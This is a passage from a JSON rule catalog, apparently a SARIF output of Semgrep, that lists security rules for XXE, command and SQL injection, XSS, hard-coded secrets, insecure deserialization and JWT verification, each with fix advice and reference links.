[https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","id":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","name":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"help":{"markdown":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sh.security.string-concat.string-concat)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"helpUri":"https://semgrep.dev/r/python.sh.security.string-concat.string-concat","id":"python.sh.security.string-concat.string-concat","name":"python.sh.security.string-concat.string-concat","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sh.security.string-concat.string-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"help":{"markdown":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n","text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","id":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","name":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"help":{"markdown":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy)\n","text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","id":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","name":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method","id":"javascript.browser.security.insecure-document-method.insecure-document-method","name":"javascript.browser.security.insecure-document-method.insecure-document-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insecure-document-method.insecure-document-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","id":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","name":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"help":{"markdown":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system","id":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","name":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.command-injection-os-system.command-injection-os-system"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","id":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","name":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"help":{"markdown":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves)\n","text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","id":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","name":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","id":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","name":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","id":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","name":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify)\n - [https://www.npmjs.com/package/jwt-simple](https://www.npmjs.com/package/jwt-simple)\n - [https://cwe.mitre.org/data/definitions/287](https://cwe.mitre.org/data/definitions/287)\n - [https://cwe.mitre.org/data/definitions/345](https://cwe.mitre.org/data/definitions/345)\n - [https://cwe.mitre.org/data/definitions/347](https://cwe.mitre.org/data/definitions/347)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","id":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","name":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","CWE-345: Insufficient Verification of Data Authenticity","CWE-347: Improper Verification of Cryptographic Signature","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password","id":"javascript.knex.node-knex-empty-password.node-knex-empty-password","name":"javascript.knex.node-knex-empty-password.node-knex-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password.node-knex-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"help":{"markdown":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"helpUri":"https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization","id":"python.flask.security.insecure-deserialization.insecure-deserialization","name":"python.flask.security.insecure-deserialization.insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.insecure-deserialization.insecure-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"help":{"markdown":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert)\n - [https://cwe.mitre.org/data/definitions/119.html](https://cwe.mitre.org/data/definitions/119.html)\n","text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","id":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","name":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","properties":{"precision":"very-high","tags":["CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"help":{"markdown":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity)\n","text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","id":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","name":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request 